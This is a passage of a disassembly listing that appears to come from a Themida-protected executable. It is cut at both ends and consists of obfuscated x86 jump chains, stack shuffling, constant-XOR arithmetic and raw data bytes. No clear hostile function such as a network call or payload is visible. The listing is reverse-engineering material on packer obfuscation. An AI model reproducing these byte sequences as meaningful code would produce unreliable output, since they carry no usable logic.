		pop	ebp
		sub	ebp, 6912524Ch
		jmp	loc_53864C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D3F702EBh, 77D7F381h, 2BE9E185h, 8000005Eh,	0E600C8F4h
		dd 5AF03058h, 6852C330h, 28h, 3EE9555Ah, 0C0000017h, 0BCE907E2h
		dd 5D000004h, 2C281h, 14870000h, 24248B24h, 0FFD220E9h
		dd 0C8B66FFh, 1B16E924h, 8EBB0000h, 5356FF73h, 0E92414F7h
		dd 48DDh
; ---------------------------------------------------------------------------


loc_539080:				; CODE XREF: Themida_:005364A8j
		pop	ecx
		jmp	loc_5421D5
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 0FFD466E9h, 241489FFh, 0FFE0B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_539095:				; CODE XREF: Themida_:0053C465j
		add	eax, 739241A0h
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_53F8DD
; ---------------------------------------------------------------------------
		dd 8058C328h, 0EB800DEBh, 0C0B60FC6h, 0FFD140E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5390BD:				; CODE XREF: Themida_:0053CC1Bj
		push	ecx
		mov	ecx, 7949497Fh
		jmp	loc_538F65
; ---------------------------------------------------------------------------
		dd 7340F181h, 0CB896D3Ch, 245C0159h, 0E6E95B04h, 0B7FFFFC9h
		dd 5BF82887h, 8704C828h, 240C8B66h, 3534E952h, 1C8B0000h
		dd 83ADE924h, 52660000h, 0FFF254E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5390FD:				; CODE XREF: Themida_:00540CDDj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_53E4E8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0EFA1E904h, 0EE81FFFFh, 0CEB4B869h, 2046E9h,	4C28100h
		dd 0E9000000h, 438Bh
; ---------------------------------------------------------------------------


loc_539130:				; CODE XREF: Themida_:0053FB10j
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_53D343
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 0E9000000h, 11F9h,	0C581DDF7h, 6FF622DAh
		dd 0D8C5814Dh, 31407153h, 0C2015DE8h, 24148758h, 0B30F665Ch
		dd 0E99C2404h, 0FFFFC939h
; ---------------------------------------------------------------------------


loc_539188:				; CODE XREF: Themida_:00541292j
		shl	edx, 1
		push	6B80h
		mov	[esp], ecx
		push	edx
		push	23C3050Ah
		jmp	loc_53A4BC
; ---------------------------------------------------------------------------


loc_53919D:				; CODE XREF: Themida_:005410DEj
		add	ecx, eax
		pop	eax
		jmp	loc_53F5AA
; ---------------------------------------------------------------------------
		db 89h,	0EEh, 5Dh
		dd 685EF501h, 123Eh, 0FF242C89h, 5D042474h, 0E924048Fh
		dd 877Bh, 0F06D6E25h, 0F49354Fh, 0C6311856h, 64E68158h
		dd 0E94CF032h, 0FFFFD994h, 96968h, 243C8900h, 0DD3418BFh
		dd 0BB53566Ah, 23B33CD7h, 3BB8E381h, 0EB810ECCh, 72FD08E9h
		dd 0FFF457E9h, 0E0E954FFh, 81FFFFDDh, 0F73C84EBh, 45F2E9A1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53920E:				; CODE XREF: Themida_:00540797j
		sub	[esp], al
		pushf
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E78104E7h, 6AB42A10h, 14F781h, 9EE90A24h, 8100003Bh
		dd 8831C9E5h, 14F75524h, 0E5C15D24h, 7EDC106h, 0A43FED81h
		dd 0EF89F7D4h, 96BE565Dh, 16C3821h, 0CF815EF7h,	19BA2C5Ch
		dd 297B951h, 0F7494A4Ch, 5469E9D1h, 0E95E0000h,	7418h
; ---------------------------------------------------------------------------


loc_539268:				; CODE XREF: Themida_:0053EBB4j
		push	edx
		mov	edx, 783F23BAh
		xor	ecx, edx
		pop	edx
		push	esi
		mov	esi, 3A822E0Fh
		xor	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_541806
; ---------------------------------------------------------------------------


loc_53928E:				; CODE XREF: Themida_:0053F28Bj
		pop	ebx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_53DA3B
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 10E90000h, 0C0000018h, 0C38004E3h, 5BD80034h, 0FFDB62E9h
		dd 243C89FFh, 42474FFh,	24048F5Fh, 0FFC800E9h, 81DEF7FFh
		dd 52ADE1F6h, 5EF38999h, 0BBFE381h, 0EBC137B0h,	5E3C105h
		dd 0D102E3C1h, 4EC83E3h, 0BD242C89h, 49315001h,	0EDC1DDF7h
		dd 7CE58105h, 0C106D063h, 0ED8106E5h, 5B365C70h, 788AEB81h
		dd 91E955BEh, 0ADFFFFF0h, 5451D831h, 0FFD122E9h, 246C01FFh
		dd 2434FF04h, 4C4835Dh,	4BD5559h, 1000000h, 242C8BE9h
		dd 5604C483h, 2BEh, 5EF10100h, 0E9240C87h, 3BB4h, 24148966h
		dd 0E99C5066h, 5B57h
; ---------------------------------------------------------------------------


loc_539348:				; CODE XREF: Themida_:0053AE20j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_53C81B
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 0D705E904h, 3489FFFFh, 87E95424h
		dd 8BFFFFDEh, 34FF2424h, 2434FF24h, 8124048Bh, 4C4h, 0E6895600h
		dd 4C681h, 0C7E90000h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_539393:				; CODE XREF: Themida_:00539AEFj
		sub	esi, ebp
		pop	ebp
		xor	eax, esi
		pop	esi
		push	0DF3h
		mov	[esp], ecx
		jmp	loc_538C5D
; ---------------------------------------------------------------------------


loc_5393A6:				; CODE XREF: Themida_:0053D009j
		mov	eax, [esp]
		push	5B57h
		mov	[esp], eax
		jmp	loc_54192E
; ---------------------------------------------------------------------------


loc_5393B6:				; CODE XREF: Themida_:00541035j
		and	edx, esi
		pop	esi
		jmp	loc_536867
; ---------------------------------------------------------------------------
		dw 0C7FEh
		dd 0C780C7FEh, 0E976B661h, 1AFDh, 4BA52h, 0D0010000h, 2404875Ah
		dd 3709685Ch, 1C890000h, 0EE26E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5393E6:				; CODE XREF: Themida_:0053DCE3j
		pop	esi
		push	eax
		jmp	loc_538CB5
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 3Bh
		dd 57430805h, 0CC0EA6BFh, 5FFD2908h, 0FFFD63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_539401:				; CODE XREF: Themida_:0053863Bj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_539722
; ---------------------------------------------------------------------------
		dd 4BFh, 0D82FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_539422:				; CODE XREF: Themida_:0053E653j
		and	ecx, ebp
		pop	ebp
		xor	ecx, 16590ED0h
		or	edx, ecx
		pop	ecx
		jmp	loc_53DDB4
; ---------------------------------------------------------------------------
		db 54h
		dd 4EC815Eh, 89000000h,	4BA2414h, 0E9000000h, 4D9Ch, 8B242C87h
		dd 8B662424h, 56502404h, 0C681E689h, 4,	4EE81h,	34870000h
		dd 24895C24h, 24048324h, 51575804h, 7FE0BB53h, 0EBC164B7h
		dd 0D8E38102h, 81550174h, 612A14F3h, 5BD98923h,	0C159CF89h
		dd 0E78107E7h, 2D1D47E0h, 0BA04C781h, 0F801DFE2h, 0D40BE95Fh
		dd 8952FFFFh, 4C281E2h,	81000000h, 4C2h, 24148700h, 5E54565Ch
		dd 4BDB68h, 242C8900h, 0F638FBBDh, 79F5810Eh, 0C10E945Ch
		dd 0D5F706EDh, 8997C581h, 0DEE90001h, 1000003h,	14875EF2h
		dd 8E6BE924h, 0B7530000h, 5BFC283Eh, 8058E100h,	5066CDC9h
		dd 4AE990B4h, 29FFFFE8h, 5904244Ch, 0E9240401h,	6C07h
		dd 79B75351h, 93E977B1h, 80FFFFDEh, 0D48894EAh,	0CDC6805Ah
		dd 4357E9h
		db 0
; ---------------------------------------------------------------------------


loc_539521:				; CODE XREF: Themida_:0054067Bj
		pop	ebp
		not	ecx
		push	ebp
		mov	ebp, 6D2E0D3Dh
		sub	ebp, 6B164742h
		or	ebp, 1477626Ah
		or	ebp, 59D21467h
		add	ebp, 2F2F116Ah
		jmp	loc_53D4A3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E904C483h, 423Fh, 582434FFh, 0F941E955h, 0E2C1FFFFh
		dd 5AE95008h, 2CFFFFC8h, 0EC815BA6h, 2,	24148966h, 6AE96AB2h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_539577:				; CODE XREF: Themida_:0053F6C6j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_53DC5E
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 6F215C24h, 242C8B1Ch, 4E3468h, 24348900h
		dd 0C681E689h, 4, 4C681h, 34870000h, 24248B24h,	0FFC508E9h
		dd 895256FFh, 4C281E2h,	83000000h, 0CEE904EAh, 8100006Eh
		dd 0CC2CACEFh, 0FFF831F8h, 685F2434h, 3E5Bh, 61C0E9h, 50D7F600h
		dd 8850FC88h, 58E788ECh, 79E9E588h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5395F3:				; CODE XREF: Themida_:0053F5FDj
		shr	eax, 8
		xor	eax, ecx
		push	eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_53E9F4
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 57h
		dd 1A35BE56h, 0D9E91E4Fh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_539613:				; CODE XREF: Themida_:0053F535j
		add	dword ptr [esp+4], 6F7770FEh
		push	ebp
		mov	ebp, 64671B1Dh
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_53C3C2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E904EC83h, 0F45h
; ---------------------------------------------------------------------------


loc_539634:				; CODE XREF: Themida_:0053E7FFj
		xor	eax, ecx
		jmp	loc_53DA79
; ---------------------------------------------------------------------------


loc_53963B:				; CODE XREF: Themida_:00541675j
		mov	ecx, 5DAB714Dh
		mov	eax, 0E9C4D283h
		jmp	loc_53C5C0
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 0FFD418E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_539651:				; CODE XREF: Themida_:00536B5Fj
		pop	ecx
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_537795
; ---------------------------------------------------------------------------


loc_53965F:				; CODE XREF: Themida_:0053DE4Bj
		sub	esi, 0BEA7490Bh
		xor	ebp, esi
		pop	esi
		and	ecx, ebp
		jmp	loc_53F567
; ---------------------------------------------------------------------------
		db 24h
		dd 0E433E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_539676:				; CODE XREF: Themida_:0053C9DBj
		push	edi
		jmp	loc_541BF2
; ---------------------------------------------------------------------------


loc_53967C:				; CODE XREF: Themida_:0053F8E0j
		push	eax
		jmp	loc_53D54F
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 6866CCB6h, 896633C7h, 0F0E9240Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_539693:				; CODE XREF: Themida_:0053A8D5j
		pop	ecx
		or	edx, 5E0D278Ah
		neg	edx
		jmp	loc_53E717
; ---------------------------------------------------------------------------
aZSgj		db 'Z]éG†',0
		align 4
		dd 103D101h, 0F6685A59h, 8900002Ch, 0A2E92404h,	31FFFFD3h
		dd 0F7815DEFh, 2F80DD93h, 815FFA01h, 4ECh, 242C8900h, 4699E9h
		dd 24148B00h, 4C481h, 0D0010000h, 2404875Ah, 0E924248Bh
		dd 381Dh, 0B31AF92Dh, 8827E924h, 51500000h, 0FFDBC4E9h
		dd 2434FFFFh, 0E92434FFh, 0FFFFCFE8h, 80EDE95Fh, 1C8B0000h
		dd 4C48124h, 28000000h,	82C180F9h, 493DE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_539722:				; CODE XREF: Themida_:00539413j
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_53A0BF
; ---------------------------------------------------------------------------
		db 68h
		dd 56ED435h, 2290E9h
		db 0
; ---------------------------------------------------------------------------


loc_539735:				; CODE XREF: Themida_:0053CE95j
		push	3ACBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_53D178
; ---------------------------------------------------------------------------
aAsdsR		db '€éDé',0Ah
		db 'R',0
		align 10h


loc_539760:				; CODE XREF: Themida_:0053A0CEj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_54100F
; ---------------------------------------------------------------------------


loc_53976C:				; CODE XREF: Themida_:0053DE42j
		add	ecx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		add	eax, ecx
		jmp	loc_53B8F7
; ---------------------------------------------------------------------------
		dd 4EC6815Eh, 0F7044D2Bh, 0AC681D6h, 815B1533h,	0A9561DEEh
		dd 5EF5016Dh, 4CE9F501h, 87FFFFD8h, 248B2434h, 4EC8124h
		dd 89000000h, 0E389241Ch, 4C381h, 0C3830000h, 7565E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5397BE:				; CODE XREF: Themida_:0053E004j
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_540833
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0F8h
		dd 81243C8Bh, 4C4h, 2BD5500h, 29000000h, 0C3FFE9E8h, 483FFFFh
		dd 815F0424h, 4C7h, 4C78100h, 87000000h, 9EE9243Ch, 66000067h
		dd 9EB55158h, 0E903EDC0h, 438Bh, 8B24048Fh, 0EC832424h
		dd 24896602h, 4836624h,	84E90224h, 0BDFFFFD9h, 4, 4246C01h
		dd 2A5FE95Dh, 0C1810000h, 6FD47B03h, 34B6E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53983E:				; CODE XREF: Themida_:005375A6j
		add	ebx, eax
		push	eax
		jmp	loc_53B94A
; ---------------------------------------------------------------------------


loc_539846:				; CODE XREF: Themida_:00536B13j
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	ebx
		xor	dword ptr [esp], 7E395DA2h
		pop	esi
		push	5A1Fh
		jmp	loc_53EE6F
; ---------------------------------------------------------------------------
		db 0ADh
		dd 451D4505h, 27C4E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53986A:				; CODE XREF: Themida_:0053C3E4j
		xor	[esp+4], eax
		jmp	loc_5406D5
; ---------------------------------------------------------------------------


loc_539873:				; CODE XREF: Themida_:00541311j
		mov	ebx, eax
		pop	eax
		sub	ebx, 66ED41FDh
		jmp	loc_53D27B
; ---------------------------------------------------------------------------


loc_539881:				; CODE XREF: Themida_:0053EDBAj
		sub	ecx, ebp
		jmp	loc_535E29
; ---------------------------------------------------------------------------


loc_539888:				; CODE XREF: Themida_:0053A614j
		mov	cl, 0EFh
		and	bl, cl
		jmp	loc_53A584
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 15h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_539897:				; CODE XREF: Themida_:00535B70j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_539CD4
; ---------------------------------------------------------------------------
		dd 0FFC218E9h, 59E800FFh, 0C0E9B551h, 0D5F602EDh, 0FFD6BEE9h
		dd 0D7EE81FFh, 0E9086050h, 2623h, 0FE7093BAh, 96C2816Fh
		dd 29F872ADh, 5CB4E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5398D6:				; CODE XREF: Themida_:0053F3BAj
		mov	edx, 0A85511Eh
		push	ecx
		push	54B2h
		mov	[esp], edx
		push	3DC9711Ch
		pop	edx
		push	edx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_53A8D3
; ---------------------------------------------------------------------------
		dw 2159h
		dd 240C8BC8h, 16D668h, 243C8900h, 0EC815F54h, 4, 5355E9h
		dd 0E20BE00h, 11E95A47h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53991F:				; CODE XREF: Themida_:005420E2j
		add	esp, 4
		shl	ecx, 7
		push	edx
		mov	edx, 12DF06D3h
		xor	edx, 47702FFDh
		add	edx, 8B7B5453h
		sub	ecx, edx
		pop	edx
		sub	[edi+24h], ecx
		pop	ecx


loc_539941:				; CODE XREF: Themida_:loc_53F38Fj
		push	7CE3h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_538F90
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542404h, 0C4832404h, 28E95204h, 87000046h,	55E9240Ch
		dd 66FFFFF0h, 9C2424D3h, 0FFC148E9h, 5AD530FFh,	5966E828h
		dd 278C6866h, 0FFC3F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_539989:				; CODE XREF: Themida_:0053A173j
		mov	esi, 1D7017FBh
		add	esi, 16DC0B05h
		sub	edx, esi
		pop	esi
		dec	edx
		add	edx, 71F77BE6h
		xor	eax, edx
		pop	edx
		pop	esi
		push	1283h
		mov	[esp], ebp
		push	43F6h
		mov	[esp], edi
		mov	edi, 32E03AACh
		push	48A1h
		mov	[esp], esi
		mov	esi, 7CA6516Dh
		xor	esi, 2AF83701h
		jmp	loc_53E1BD
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC0EDh, 1404E958h, 0E7C00000h, 436E903h,	0C870000h
		dd 3C895C24h, 7179BF24h, 7C291CB3h, 0FF5F0424h,	81582434h
		dd 4ECh, 24048900h, 4EC81h, 24890000h, 8911E924h, 81AD0000h
		dd 4ECh, 24348900h, 0B04CB0BEh,	0BA525318h, 32FB3E4Fh
		dd 0E95AD389h, 0FFFFE836h
; ---------------------------------------------------------------------------


loc_539A2C:				; CODE XREF: Themida_:00538494j
		and	edi, 77C80FABh
		inc	edi
		sub	edi, 1
		xor	edi, 73B474B8h
		push	edx
		mov	edx, 36747714h
		sub	edi, edx
		pop	edx
		sub	edx, edi
		jmp	loc_536A07
; ---------------------------------------------------------------------------


loc_539A4F:				; CODE XREF: Themida_:0053F8A7j
		pop	ecx
		push	ebp
		push	eax
		mov	eax, 495A325Ch
		jmp	loc_53A9F3
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFDEC6h
; ---------------------------------------------------------------------------


loc_539A64:				; CODE XREF: Themida_:00537BAFj
		mov	[ecx], ebx
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_536DA3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1DA7642Dh, 542968BEh, 4890000h, 24048124h, 7E2E3989h
		dd 89EE815Eh, 0E97E2E39h, 80Eh,	2C78358h, 0E9243C87h, 0FFFFC8DFh
		dd 1BA168h, 7C64E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_539AA6:				; CODE XREF: Themida_:0053B383j
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53A903
; ---------------------------------------------------------------------------
		db 51h
		dd 0C9FEFCB1h, 8003E9C0h, 0C830E7E9h, 4F3DE9h, 0E9555E00h
		dd 2020h, 0EB32E95Ch, 0E981FFFFh, 7D78BB05h, 0E959CF89h
		dd 1EDAh, 2B5315B9h, 0E9D1F70Fh, 0FFFFD76Bh
; ---------------------------------------------------------------------------


loc_539AEC:				; CODE XREF: Themida_:005406AAj
		xor	ebp, esi
		pop	esi
		jmp	loc_539393
; ---------------------------------------------------------------------------
		dd 4A14E95Dh, 0CBB0000h, 0E9348846h, 563Fh, 33241C31h
		dd 0E95C241Ch, 29C5h, 5C241487h, 0D828442Ch, 80D2B353h
		dd 0F3802BEBh, 3EBC0DFh, 0E903EBC0h, 0FFFFF777h
; ---------------------------------------------------------------------------


loc_539B2C:				; CODE XREF: Themida_:00540166j
		add	[esp], ax
		pushf
		jmp	loc_5366E4
; ---------------------------------------------------------------------------
		dw 2C59h
		dd 4D8288Ah, 2434FF8Ah,	83241C8Bh, 0C48304C4h, 99B25204h
		dd 803AF280h, 0C2809EF2h, 0C7FCE995h, 5752FFFFh, 0FEBFh
		dd 148B5700h, 7499E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_539B6A:				; CODE XREF: Themida_:005373F0j
		inc	ebx
		jmp	loc_53BD3D
; ---------------------------------------------------------------------------


loc_539B70:				; CODE XREF: Themida_:0053658Bj
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_53A58A
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFBF3Dh, 587CE958h, 81660000h, 0A022444h
		dd 0D5FFE97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_539B96:				; CODE XREF: Themida_:0053E14Aj
		mov	ebp, esp
		jmp	loc_540E17
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 33h
		dd 816E8E01h, 1572B3C9h, 0C181410Ah, 2AEFB94Eh,	0C8BCB01h
		dd 0E7895724h, 4C781h, 58E90000h, 81000019h, 4E9h, 240C8700h
		dd 2404895Ch, 136C1DB8h, 1670251Dh, 0D486505h, 2EAF438Dh
		dd 8A253305h, 0DC7EE9F9h, 0F66FFFFh, 8952CCB6h,	59BF57E2h
		dd 0C122AB64h, 0EF8103E7h, 56466994h, 2B10C781h, 0BD554EF1h
		dd 218539D3h, 0FFFAAAE9h, 243C87FFh, 8924248Bh,	5150241Ch
		dd 8CE9D188h, 8100001Dh, 4ECh, 241C8900h, 0C381E389h, 4
		dd 0F7DEE957h, 6866FFFFh, 896606DEh, 0F8882404h, 0C688F788h
		dd 24048B66h, 617FE9h, 0BF665700h, 4F66048Dh, 0C1664766h
		dd 876608E7h, 0D6F766F7h, 66F78766h, 0C7BD6655h, 0D194E973h
		dd 0F181FFFFh, 0CB1185Fh, 7E93F181h, 0E98144CCh, 0BEF2350h
		dd 39EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_539C89:				; CODE XREF: Themida_:00541551j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 74A93A7Dh
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_536C5C
; ---------------------------------------------------------------------------
		dd 0C780E728h, 0E4D2E9EFh, 77FFFFFFh, 24048B1Ch, 4EC81h
		dd 98E90000h, 33FFFFFCh, 248B240Ch, 22096824h, 4890000h
		dd 0E9E08924h, 8124h
; ---------------------------------------------------------------------------


loc_539CD4:				; CODE XREF: Themida_:0053989Fj
		push	esi
		jmp	loc_53B89F
; ---------------------------------------------------------------------------
		dw 95Bh
		dd 2C8B1C6Fh, 0E3895324h, 4C381h, 4DE90000h, 81000027h
		dd 2C4h, 689F2C00h, 2EDAh, 50240C89h, 405E089h,	0E9000000h
		dd 21AFh, 0FFFFEF81h, 0E7C1FFFFh, 0FCEF8108h, 89375B70h
		dd 44F7E9FDh, 815B0000h, 4C4h, 4EC8100h, 89000000h, 168242Ch
		dd 5D1FA31Bh, 1AFDED81h, 0EE011FA3h, 83242C8Bh,	348704C4h
		dd 24248B24h, 0FFDB8FE9h, 54015BFFh, 8B5A0424h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53CE48
; ---------------------------------------------------------------------------


loc_539D6F:				; CODE XREF: Themida_:0053A8FEj
		add	ebx, eax
		pop	eax
		jmp	loc_5374AA
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFF839h, 582434FFh, 655868h, 240C8900h
		dd 0EC83E189h, 24148904h, 0A51954BAh, 0E9DAF742h, 0FFFFC1ADh
; ---------------------------------------------------------------------------


loc_539DA0:				; CODE XREF: Themida_:005419DFj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		push	ecx
		mov	ecx, 7B9C601Fh
		add	ecx, 4BD30F51h
		push	ebx
		mov	ebx, 0
		sub	ebx, ecx
		push	ecx
		jmp	loc_53F4A5
; ---------------------------------------------------------------------------
		dd 4C3815Bh, 0E9000000h, 2AB3h,	6624248Bh, 0E9241489h
		dd 56A3h, 4C3815Bh, 68000000h, 558Ch, 57242C89h, 784BE9h
		db 0
; ---------------------------------------------------------------------------


loc_539DF1:				; CODE XREF: Themida_:00537190j
		mov	edi, [esp]
		add	esp, 4
		shl	eax, cl
		jmp	loc_5382D6
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 885AFDA4h, 428CEF81h, 0DF01266Fh, 428CC781h,	0E95B266Fh
		dd 0FFFFE90Eh, 0EFC0CFFEh, 7F78004h, 0E924F780h, 0FFFFF822h
; ---------------------------------------------------------------------------


loc_539E28:				; CODE XREF: Themida_:0053FF7Bj
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_537C2E
; ---------------------------------------------------------------------------
		db 45h
		dd 247DE581h, 0ED81467Fh, 24C51721h, 8108E5C1h,	0F0763BC5h
		dd 5DE901E1h, 4496C981h, 0E9E92E04h, 8BFFFFDDh,	0C4832414h
		dd 24048F04h, 6624248Bh, 5624048Bh, 39DE9h, 81F22900h
		dd 817844EAh, 0EA815E46h, 53CC74FDh, 0C3E9DA01h, 8F00001Bh
		dd 0BEE92404h, 0FF000023h, 148B2434h, 4C48324h,	2C60E9h
		db 0
; ---------------------------------------------------------------------------


loc_539EA5:				; CODE XREF: Themida_:0053EA93j
		add	ebx, 78D606CCh
		pop	esi
		dec	ebx
		not	ebx
		inc	ebx
		dec	ebx
		push	ebp
		mov	ebp, 3F7416A3h
		push	ebp
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		xor	ebp, 26CF7890h
		xor	ebp, 9CFFC16h
		sub	ebx, ebp
		pop	ebp
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, ecx
		jmp	loc_53ACCB
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4EB81h, 1C330000h, 241C3124h, 5C241C33h, 0BA241489h
		dd 45890555h, 436CE9h, 0FFC28000h, 0F280D2F6h, 19B353C8h
		dd 5BDD00h, 19ED80D5h, 5C3AE95Ah, 0C1810000h, 0AD476A7h
		dd 8107E1C1h, 22C604C1h, 0E9CB0175h, 4911h
; ---------------------------------------------------------------------------


loc_539F34:				; CODE XREF: Themida_:00541C5Aj
		mov	esp, [esp]
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		dd 3AACB850h, 0E8C15F0Ah, 3878E903h, 0A2BB0000h, 31F2EB05h
		dd 241C8BDFh, 104C483h,	0ADE95FFBh, 66FFFFDAh, 7DF9EE81h
		dd 0E0E95166h, 0C000004Ch, 0F62C08E8h, 0DE9C588h, 0F6FFFFFCh
		dd 484DE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_539F7E:				; CODE XREF: Themida_:0053864Fj
		pop	ecx
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_53B832
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 0E65FE95Bh, 0C468FFFFh, 89000064h,	0EC83241Ch
		dd 243C8904h, 4BFh, 8B5B5700h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_536206
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 57E18924h, 0FB5F48BFh, 37BE563Ch, 0E9384628h, 6C6Dh
		dd 240C8B5Ch, 565968h, 241C8900h, 241C8B54h, 0FFC6B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_539FE9:				; CODE XREF: Themida_:005383CEj
		add	eax, 53CA0FACh
		add	eax, 47AE68C5h
		sub	eax, esi
		sub	eax, 47AE68C5h
		sub	eax, 53CA0FACh
		pop	esi
		push	1F51h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_536F4F
; ---------------------------------------------------------------------------


loc_53A00F:				; CODE XREF: Themida_:0053DC45j
		xor	[esp+4], eax
		pop	eax
		pop	eax
		xor	eax, 30490DA0h
		mov	esi, [esp]
		add	esp, 4
		push	7504h
		jmp	loc_540AF2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5000000h, 3C9C655Eh,	223AC105h, 2DC82954h, 54223AC1h
		dd 9C655E2Dh, 433593Ch,	24043124h, 0E9240433h, 0FFFFFD78h
		dd 15B2C281h, 424A16BEh, 483FEA81h, 5EE9085Ch, 68FFFFEEh
		dd 746Ch, 0FB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_53A075:				; CODE XREF: Themida_:00536623j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_53C3E9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A168240Ch, 8900002Fh, 5D54242Ch, 556BA52h, 0EA810FBBh
